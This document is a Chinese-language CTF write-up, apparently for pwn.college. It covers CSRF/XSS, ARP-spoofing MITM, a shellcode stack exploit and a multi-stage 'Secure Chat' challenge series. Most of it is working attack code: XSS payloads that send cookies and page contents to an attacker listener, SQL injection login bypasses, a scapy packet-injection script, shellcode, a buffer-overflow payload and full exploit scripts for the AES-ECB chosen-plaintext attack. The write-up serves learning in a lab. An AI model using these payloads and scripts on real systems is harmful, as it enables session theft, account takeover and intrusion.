Web Security

CSRF(Cross-Site Request Forgery)

csrf-3, 要求执行alert脚本, 但alert必须来自80端口, 故不能直接从本站将脚本发给victim, 需要使用csrf插入xss。

payload = """<script>alert("pwn")</script>"""

csrf-4, 本可以直接使用csrf将draft设置为publish, 但本题做了限制, 即使publish, 但如果是admin的publish也不会公开, 因此只能通过获取cookie伪造admin登录。

payload = """
<script>
(new Image()).src = "http://localhost:1337/leak?cookie=" + document.cookie;
</script>
"""

csrf-5, 使用session替代不安全的cookie, 默认httponly属性, 无法通过js泄露, 直接泄露返回的整个html页面即可。

#!/usr/bin/python

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse

payload = """
<script>
fetch("/", {credentials: "include"})
.then(r => r.text())
.then(data => {
(new Image()).src = "http://localhost:1337/leak?data=" + data;
});
</script>
"""

# http请求处理函数
class CSRFHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
# csrf
html = f"""
<html>
<body>
<script>
location.href = "http://challenge.localhost:80/ephemeral?msg={urllib.parse.quote(payload)}";
</script>
</body>
</html>
"""
self.wfile.write(html.encode())

# 启动http服务
server_address = ('localhost', 1337)
httpd = HTTPServer(server_address, CSRFHandler)
print("CSRF server running at http://hacker.localhost:1337/")
httpd.serve_forever()

Intercepting Communication

MITM (Man-in-the-Middle)

Linux默认开启ipv4转发功能, 会自动将收到的不属于自己的ip包转发出去, 而在unprivileged模式下无法手动关闭, 需要在ARP欺骗收到服务器发来的询问指令command时, 迅速伪造一个应答包flag, 在内核自动将该command包转发给客户端然后客户端回应前(利用其中存在的时间差)抢先将伪造的应答包发送给服务器。

#!/usr/bin/env python3

from scapy.all import *
import socket
import threading
import time
import os

server_ip = "10.0.0.3"
server_mac = "8a:1e:b4:d3:02:fb"
client_ip = "10.0.0.2"
client_mac = "96:f6:f7:93:22:a2"

# ARP cheat
def arp_cheat():
while True:
time.sleep(1)
pkt1 = Ether(dst=client_mac) / ARP(op=2, pdst=client_ip, psrc=server_ip)
sendp(pkt1, verbose=False)
pkt2 = Ether(dst=server_mac) / ARP(op=2, pdst=server_ip, psrc=client_ip)
sendp(pkt2, verbose=False)

threading.Thread(target=arp_cheat).start()

# construct fake response packet
def forward(pkt):
# print(pkt.summary())
if pkt.haslayer(Raw):
payload = pkt[Raw].load
if payload == b"command: ":
print(f"Receive payload from Server: {payload}")
ip = pkt[IP]
tcp = pkt[TCP]

server_seq = tcp.seq
client_ack = server_seq + len(payload)

ip_resp = IP(src=ip.dst, dst=ip.src)
tcp_resp = TCP(sport=tcp.dport, dport=tcp.sport, flags="PA", seq=tcp.ack, ack=client_ack)
response = ip_resp / tcp_resp / Raw(load=b"flag")
send(response, verbose=False)
elif b"pwn" in payload:
print(f"Get flag: {payload}")

sniff(filter="ip", prn=forward, iface="eth0")

Integrated Security

CIMG Screenshots

这两题是Intro to CybersecurityReverse Engineering部分的续题, 其中的handle 1337函数会将图像的截图(Frame Screenshot)存到栈上, 只要将shellcode构造成cimg图像即可。

#!/usr/bin/python

from pwn import *
import subprocess
import struct

context.arch = "amd64"
context.os = "linux"

shellcode = asm('''
// open flag
xor rax, rax
mov rbx, 0x67616c662f
push rbx
mov rdi, rsp
xor rsi, rsi
mov eax, 2
syscall
// read
mov rdi, rax
mov rsi, rsp
mov edx, 100
xor eax, eax
syscall
// write
mov rdx, rax
mov rax, 1
mov rdi, 1
syscall
// exit
mov eax, 60
xor edi, edi
syscall

''')

# effective address: mov rbp, rsp
addr_high = 0x40
addr_low = 0x3b42

# while True:
for i in range(1):

with open("my.cimg", "wb") as f:
# cimg header
magic_number = b"cIMG"
version = 4
width = 255
height = 10
remain_dir = 3
header = magic_number + struct.pack("<HBBI", version, width, height, remain_dir)
f.write(header)

# load characters from handle3
handle = 3
sprite_id = 0
pad = b""
for i in range(21):
pad += b"\x20" * 8
pad += struct.pack("<H", addr_low)
pad += struct.pack("<B", addr_high)
width = len(pad)
height = 1
load = struct.pack("<HBBB", handle, sprite_id, width, height) + pad
f.write(load)

# add sprite render
handle = 4
r = 255
g = 255
b = 255
base_x = 0
base_y = 0
blocknums_x = 1
blocknums_y = 1
ch = b" "
render = struct.pack("<HBBBBBBBBc", handle, sprite_id, r, g, b, base_x, base_y, blocknums_x, blocknums_y, ch)
f.write(render)

# screenshot
handle = 1337
ss = struct.pack("<HBBBBB", handle, sprite_id, base_x, base_y, width, height)
f.write(ss)

print(f"pwn addr: {addr_high}, {addr_low}")
subprocess.run(["/challenge/integration-cimg-screenshot-win", "my.cimg"])

addr_low += 1
if addr_low > 0xffff:
addr_high += 1
addr_low %= 0x10000

关键是逆向读懂给的handle指令:

handle1: read(header.w*header.h*4)

handle2: read(w*h*4), base_x, base_y, w, h, r, g, b, c ...

handle3: read(w*h), sprite_id, w, h, c ...

handle4: read(9), sprite_id, r, g, b, basex, basey, blocknums_x, blocknums_y, ch

handle5: read(258), sprite_id, w, h, file_name

handle6: read(1), bool(clear)

handle7: read(4), nanosleep(s, ns)

handle1337: read(5), sprite_id, base_x, base_y, w, h frame -> stack

Secure Chat

一个聊天服务器系列题, 蛮有意思的。

Alice将服务器搭在自己的ip上, 只有以本地ip才能作为root登录。之后的所有故事都是围绕Sharon得到flag并泄露给Bob, 然后Mallory向管理员Alice报告这件事展开的。我们作为Hacker身份(普通用户)登录。

Chat 1

登录函数login()中存在sql注入漏洞, 可以随意登录用户。

先通过substring函数对sharon的用户名进行匹配登录, 然后直接查询其与bob的聊天记录即可获得flag。

# 模拟bob登录
> curl -c cookie.txt -b cookie.txt -d "username=bob'--" -d "password=1" -L "http://10.0.0.1/login"
Hello bob! You are not an admin.

# 模拟sharon登录
> curl -c cookie.txt -b cookie.txt -d "username=1' union select * from users where substring(username, 1, 3)='sha'--" -d "password=1" -L "http://10.0.0.1/login"
Hello sharon1068838255019119102! You are not an admin.

# 获取聊天记录
> curl -c cookie.txt -b cookie.txt "http://10.0.0.1/chat/bob"

Chat 2

Sharon在与bob分享完flag后删除了自己的账户, 但聊天记录仍被保留下来, 只是聊天对象被置为NULL。

Mallory在向Alice报告有人泄露给Bob flag的事情后, Alice向Bob询问此事, 然后Bob将Sharon的用户名以及flag告诉了Alice。

注意到Alice是通过browser来和Mallory通信的, 为插入并执行js脚本创造了条件。且在server的设置中, 特意将SESSION_COOKIE_HTTPONLY设置为False, 则可以通过js的fetch泄露出cookie中的session值(cookie默认可通过js跨源泄露, 而session不行)。

可以通过伪装成Alice与Bob通信获取flag。

# 模拟Mallory登录
> curl -c cookie.txt -b cookie.txt -d "username=mallory'--" -d "password=1" -L "http://10.0.0.1/login"

# 通过xss窃取Alice的session
> curl -c cookie.txt -b cookie.txt -d "message=<script>fetch('http://10.0.0.5:31337/?cookie='%2Bdocument.cookie)</script>" -L "http://10.0.0.1/chat/alice"

# 伪装Mallory给Alice通风报信
> curl -c cookie.txt -b cookie.txt -d "message=I heard someone shared the flag with Bob!" -L "http://10.0.0.1/chat/alice"

# 伪装Alice与Bob通信获取flag
> curl -b "session={session}" -d "message=Hey Bob, I need to chat with you about something important. Let's chat securely over DHE-AES: {dh_A}." -L "http://10.0.0.1/chat/bob"

Chat 3

Bob不再与Alice直接分享flag, 只能从Bob与Sharon的聊天记录入手。

注意到modify用户名时, 消息中的原用户名会被替换为新用户名, 则可以使用AES-ECB-CPA选择明文攻击。注册一个新用户名, 使其开头部分与消息的开头相同, 通过login中的sql注入漏洞泄露出username加密值与contents加密值作比较, 逐字符爆破出消息的内容。

# 使用union泄露出contents加密值
> curl -c cookie.txt -b cookie.txt -d "username=1' union select encrypted_contents, 0, 0 from encrypted_chats where encrypted_username_1 is NULL or encrypted_username_2 is NULL --" -d "password=1" -L "http://10.0.0.1/login"

# 使用union泄露出username加密值
> curl -c cookie.txt -b cookie.txt -d "username=1' union select encrypted_username_1, 0, 0 from encrypted_chats where encrypted_username_2 is NULL union select encrypted_username_2, 0, 0 from encrypted_chats where encrypted_username_1 is NULL --" -d "password=1" -L "http://10.0.0.1/login"

# 需要使用admin登录来修改username
> curl -b "session={session}" -d "username={new_username}" -d "password=1" "http://10.0.0.1/user/{username}/modify"

Chat 4

修改权限受到限制, 需要admin_pin。

而check_admin_pin不给源码, 大概是可以逆向出漏洞, 反汇编后发现使用了get函数, 则利用缓冲区溢出覆盖返回地址, 使其跳转到granted函数以0正常退出。

构造payload传递给admin_pin表单参数即可(payload以bytes形式构造, 需要通过decode(“latin-1”)解码为字符串传递给post data)

#!/usr/bin/env python3

import os
import re
import struct
import requests
import urllib.parse
import socket
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

# 模拟Mallory登录
mallory = requests.session()
response = mallory.post("http://10.0.0.1/login", data={
"username": "mallory'--",
"password": "1"
})
if response.status_code != 200:
raise Exception("Mallory login failed")
# print(response.text)

# 监听31337端口, 等待Alice泄露session
s = socket.socket()
# 允许复用地址, 因为一个TCP连接关闭后, 内核为了避免迟到的数据包干扰新的连接, 会将该端口保留在TIME_WAIT一段时间
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("10.0.0.5", 31337))
s.listen(1)

# 伪装Mallory向Alice发送XSS攻击
mallory.post("http://10.0.0.1/chat/alice", data={
"message": "<script>fetch('http://10.0.0.5:31337/?cookie='+document.cookie)</script>"
})

# 获取session值
conn, _ = s.accept()
leak = conn.recv(1024).decode()
conn.close()
s.close()
pattern = r"session=(\S+) "
regex = re.compile(pattern)
session = regex.search(leak).group(1)
print(f"The session is: {session}")

# 伪装Mallory通知有人泄露给Bob了flag
mallory.post("http://10.0.0.1/chat/alice", data={
"message": "I heard someone shared the flag with Bob!"
})

# 伪装Alice与Bob交换密钥并获取Sharon用户名
alice = requests.session()
alice.cookies.set("session", session)
DH_p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
DH_g = 2
dh_a = int.from_bytes(os.urandom(256), "big")
dh_A = pow(DH_g, dh_a, DH_p)

# 交换Diffie-Hellman密钥
response = alice.post("http://10.0.0.1/chat/bob", data={
"message": f"Hey Bob, I need to chat with you about something important. Let's chat securely over DHE-AES: {dh_A}."
})
dh_B_re = re.compile(r"^bob: Hey Alice, sure: (\d+)\.$", re.MULTILINE)
while True:
response = alice.get("http://10.0.0.1/chat/bob")
if match := dh_B_re.search(response.text):
break
time.sleep(0.5)
dh_B = int(match.group(1))
dh_s = pow(dh_B, dh_a, DH_p)

# 使用Diffie-Hellman密钥生成AES密钥及加解密函数
key = dh_s.to_bytes(256, "big")[:16]
cipher_send = AES.new(key, AES.MODE_ECB)
cipher_recv = AES.new(key, AES.MODE_ECB)
encrypt = lambda data: cipher_send.encrypt(pad(data.encode(), cipher_send.block_size)).hex()
decrypt = lambda data: unpad(cipher_recv.decrypt(bytes.fromhex(data)), cipher_recv.block_size).decode()

# 使用AES-ECB加密发送消息
alice.post("http://10.0.0.1/chat/bob", data={"message": encrypt("Hey Bob, I know that someone shared the flag with you. Who was it?")})
encrypted_message_re = re.compile(r"^bob: ([0-9a-f]+)$", re.MULTILINE)
sharon_username_re = re.compile(r"Oh, it was '(\w+)'\.")
while True:
response = alice.get("http://10.0.0.1/chat/bob")
encrypted_messages = encrypted_message_re.findall(response.text)
for encrypted_message in encrypted_messages:
if match := sharon_username_re.match(decrypt(encrypted_message)):
break
else:
time.sleep(0.5)
continue
break

# 获取到Sharon的用户名
sharon_username = match.group(1)
alice.post("http://10.0.0.1/chat/bob", data={"message": encrypt("Thanks Bob, I'll look into it.")})
print(f"Sharon's username is: {sharon_username}")

# 先泄露出Bob的username加密值
login = requests.session()
response = login.post("http://10.0.0.1/login", data={
"username": "1' union select encrypted_username_1, 0, 0 from encrypted_chats where encrypted_username_2 is NULL union select encrypted_username_2, 0, 0 from encrypted_chats where encrypted_username_1 is NULL --",
"password": "1"
})
bob_encrypted_username = response.text.split()[1][:-1]
print(f"Bob's encrypted username is: {bob_encrypted_username}")

# 构造缓冲区溢出payload
addr = 0x401256
payload = b"\x01" * (0x48 + 8 + 8) + struct.pack("<Q", addr)

# 将Bob的用户名修改为Sharon的用户名
alice.post(f"http://10.0.0.1/user/bob/modify", data={
"username": f"{sharon_username}",
"password": "1",
"admin_pin": payload.decode("latin-1")
})

# 注册一个新Bob, 用来之后与其发送消息泄露CPA用户名
register = requests.session()
register.post("http://10.0.0.1/register", data={
"username": "bob",
"password": "1"
})

# CPA选择明文攻击
# 先填充用户名, 使flag的第一个字符位于块的最后一位
pad_index = len(sharon_username) + len(": The flag is ")
padding = "A" * (16 - pad_index % 16 - 1 + 64)
new_pad_name = sharon_username + padding

# 将原Bob的用户名修改为填充后的用户名
alice.post(f"http://10.0.0.1/user/{sharon_username}/modify", data={
"username": new_pad_name,
"password": "1",
"admin_pin": payload.decode("latin-1")
})

# 注册cpa用户
cpa_username = new_pad_name + ": The flag is "
cpa = requests.session()
cpa.post("http://10.0.0.1/register", data={
"username": cpa_username,
"password": "1"
})

# 使用cpa用户与新Bob发送消息, 用于后续查找cpa用户名加密值
cpa.post("http://10.0.0.1/chat/bob", data={
"message": "Hey Bob."
})

flag = ""

# 逐字符爆破
for index in range(1, 64):
block_num = len(cpa_username) // 16 + 1
old_username = cpa_username
# 泄露contents加密值
response = login.post("http://10.0.0.1/login", data={
"username": "1' union select encrypted_contents, 0, 0 from encrypted_chats where encrypted_username_1 is NULL or encrypted_username_2 is NULL --",
"password": "1"
})
encrypted_contents = response.text.split()[1][:-1][:block_num * 32]
print(f"Encrypted contents: {encrypted_contents}")
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}:.- ':
name = cpa_username + i
alice.post(f"http://10.0.0.1/user/{urllib.parse.quote(old_username)}/modify", data={
"username": name,
"password": "1",
"admin_pin": payload.decode("latin-1")
})
old_username = name
# 检查cpa_username的加密值
response = login.post(f"http://10.0.0.1/login", data={
"username": f"1' union select encrypted_username_1, 0, 0 from encrypted_chats where encrypted_username_2='{bob_encrypted_username}' union select encrypted_username_2, 0, 0 from encrypted_chats where encrypted_username_1='{bob_encrypted_username}' --",
"password": "1"
})
cpa_encrypted_username = response.text.split()[1][:-1][:-32]
print(f"Encrypted cpa username: {cpa_encrypted_username}")
# 如果碰撞成功
if encrypted_contents == cpa_encrypted_username:
# 将原bob的username向前缩进一位
old_pad_name = new_pad_name
new_pad_name = sharon_username + padding[:-index]
alice.post(f"http://10.0.0.1/user/{old_pad_name}/modify", data={
"username": new_pad_name,
"password": "1",
"admin_pin": payload.decode("latin-1")
})
flag += i
# 将cpa的username向前缩进一位并填充下一位继续碰撞

cpa_username = new_pad_name + ": The flag is " + flag
alice.post(f"http://10.0.0.1/user/{urllib.parse.quote(old_username)}/modify", data={
"username": cpa_username,
"password": "1",
"admin_pin": payload.decode("latin-1")
})
break
time.sleep(0.1)
else:
print(f"Unmatched! Final cpa_username: {cpa_username}")
break

print(f"The flag is: {flag}")

Chat 5

将server中session的httponly=False删掉, 此时不能单纯使用XSS让Alice将session泄露出来了, 而需要结合CSRF, 让Alice自己去做之前需要管理员权限的事(修改用户名、与bob交流获取Sharon用户名)。

实际上, 这已经不算是CSRF了, 因为并不符合“攻击者在另一个网站诱导浏览器向受害站点发起带有身份凭据的请求”, 请求不是“跨站”发起的, 而是从同站的注入脚本发起。而XSS中的“跨站”指的是“攻击者通过网站向受害者页面中注入并执行恶意脚本”, 跨的是攻击者和受害者之间的网站。因此此类攻击应该算是“利用存储型 XSS 发起的站内请求伪造(Same-Origin Forged Request)”。

既然没有“跨站”, 则符合“同源”要求: 同协议、同域名(ip)、同端口, 则浏览器会自动带上同站的cookie(不需要加上credentials: “include”), 且fetch操作也不会被浏览器的同源策略所阻拦(否则就要使用location.href这类顶级跳转)

#!/usr/bin/env python3

import os
import re
import time
import base64
import requests
import urllib.parse
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

# 模拟Mallory登录
mallory = requests.session()
mallory.post("http://10.0.0.1/login", data={
"username": "mallory'--",
"password": "1"
})

# 伪造请求让Alice给Bob发送公钥: 0
mallory.post("http://10.0.0.1/chat/alice", data={
"message": f"""
<script>
fetch("http://127.0.0.1/chat/bob", {{
method: "POST",
headers: {{
"Content-Type": "application/x-www-form-urlencoded"
}},
body: "message=Hey Bob, I need to chat with you about something important. Let's chat securely over DHE-AES: 0.",
}});
</script>
"""
})

# 伪装Bob向Alice发送公钥: 0
bob = requests.session()
bob.post("http://10.0.0.1/login", data={
"username": "bob'--",
"password": "1"
})
bob.post("http://10.0.0.1/chat/alice", data={
"message": "Hey Alice, sure: 0."
})
# 发送两次避免alice的正则表达式缩进问题
bob.post("http://10.0.0.1/chat/alice", data={
"message": "Hey Alice, sure: 0."
})

# 伪装Mallory通知Alice有人泄露给Bob了flag
mallory.post("http://10.0.0.1/chat/alice", data={
"message": "I heard someone shared the flag with Bob!"
})

# 获取Sharon用户名
key = b"\x00" * 16
cipher_send = AES.new(key, AES.MODE_ECB)
cipher_recv = AES.new(key, AES.MODE_ECB)
encrypt = lambda data: cipher_send.encrypt(pad(data.encode(), cipher_send.block_size)).hex()
decrypt = lambda data: unpad(cipher_recv.decrypt(bytes.fromhex(data)), cipher_recv.block_size).decode()
encrypted_message_re = re.compile(r"^bob: ([0-9a-f]+)$", re.MULTILINE)
sharon_username_re = re.compile(r"Oh, it was '(\w+)'\.")
while True:
response = bob.get("http://10.0.0.1/chat/alice")
encrypted_messages = encrypted_message_re.findall(response.text)
for encrypted_message in encrypted_messages:
if match := sharon_username_re.match(decrypt(encrypted_message)):
break
else:
time.sleep(0.1)
continue
break
sharon_username = match.group(1)
print(f"Sharon's username is: {sharon_username}")

# 构造缓冲区溢出payload
addr = 0x401256
payload = b"\x01" * (0x48 + 8 + 8) + struct.pack("<Q", addr)
payload_b64 = base64.b64encode(payload).decode('ascii')

# 构造伪造请求

# 使用表单构造:
# def csrf(oname, nname):
# return f"""
# <form action="http://127.0.0.1/user/{urllib.parse.quote(oname)}/modify" method="POST">
# <input type="hidden" name="username" value={nname} />
# <input type="hidden" name="password" value="1" />
# <input type="hidden" name="admin_pin" value="31337" />
# </form>
# <script>document.forms[0].submit();</script>
# """

# 使用fetch构造csrf, 而不是<form>标签, 避免触发“表单提交弹窗”
# 要注意使用“127.0.0.1”而不是“10.0.0.1”通过admin验证; 此外f-strin构造格式化字符串时, 使用{{}}而不是\{\}来获取{}字面量
# 0x00字节会被alice浏览器javascript错误解析, 先在本地编码为base64, 之后再由alice执行js的atob函数解码为字节码发送给服务器
def csrf(oname, nname):
return f"""
<script>
fetch("http://127.0.0.1/user/{urllib.parse.quote(oname)}/modify", {{
method: "POST",
headers: {{
"Content-Type": "application/x-www-form-urlencoded"
}},
body: "username={nname}&password=1&admin_pin=" + encodeURIComponent(atob("{payload_b64}"))
}});
</script>
"""

# 将Bob的用户名修改为Sharon的用户名
mallory.post("http://10.0.0.1/chat/alice", data={
"message": csrf("bob", sharon_username)
})

login = requests.session()
# 检查何时修改成功
def check(oname):
while True:
response = login.post("http://10.0.0.1/login", data={
"username": f"{oname}'--",
"password": "1"
})
if response.status_code != 200:
if "Invalid username or password." in response.text:
return
else:
print(response.text)
exit(-1)
time.sleep(0.1)

check("bob")

# CPA选择明文攻击
# 先填充用户名, 使flag的第一个字符位于块的最后一位
pad_index = len(sharon_username) + len(": The flag is ")
padding = "A" * (16 - pad_index % 16 - 1 + 64)
new_pad_name = sharon_username + padding

# 将原Bob的用户名修改为填充后的用户名
mallory.post("http://10.0.0.1/chat/alice", data={
"message": csrf(sharon_username, new_pad_name)
})
check(sharon_username)

# 注册cpa用户
cpa_username = new_pad_name + ": The flag is "
cpa = requests.session()
cpa.post("http://10.0.0.1/register", data={
"username": cpa_username,
"password": "1"
})

# 使用cpa用户与某人发送消息, 用于后续查找cpa用户名加密值
cpa.post("http://10.0.0.1/chat/mallory", data={
"message": "Hey."
})

flag = ""

# 逐字符爆破
for index in range(1, 64):
block_num = len(cpa_username) // 16 + 1
old_username = cpa_username
# 泄露contents加密值
response = login.post("http://10.0.0.1/login", data={
"username": "1' union select encrypted_contents, 0, 0 from encrypted_chats where encrypted_username_1 is NULL or encrypted_username_2 is NULL --",
"password": "1"
})
encrypted_contents = response.text.split()[1][:-1][:block_num * 32]
print(f"Encrypted contents: {encrypted_contents}")
for i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}:.- ':
name = cpa_username + i
mallory.post("http://10.0.0.1/chat/alice", data={
"message": csrf(old_username, name)
})
check(old_username)
old_username = name
# 检查cpa_username的加密值
response = login.post(f"http://10.0.0.1/login", data={
"username": f"1' union select encrypted_username_2, 0, 0 from encrypted_chats where ROWID = last_insert_rowid() --",
"password": "1"
})
cpa_encrypted_username = response.text.split()[1][:-1][:-32]
print(f"Encrypted cpa username: {cpa_encrypted_username}")
if encrypted_contents == cpa_encrypted_username:
old_pad_name = new_pad_name
new_pad_name = sharon_username + padding[:-index]
mallory.post("http://10.0.0.1/chat/alice", data={
"message": csrf(old_pad_name, new_pad_name)
})
check(old_pad_name)
flag += i
print(f"flag: {flag}")
cpa_username = new_pad_name + ": The flag is " + flag
mallory.post("http://10.0.0.1/chat/alice", data={
"message": csrf(old_username, cpa_username)
})
check(old_username)
break
time.sleep(0.1)
else:
print(f"Unmatched! Final cpa_username: {cpa_username}")
break

print(f"The flag is: {flag}")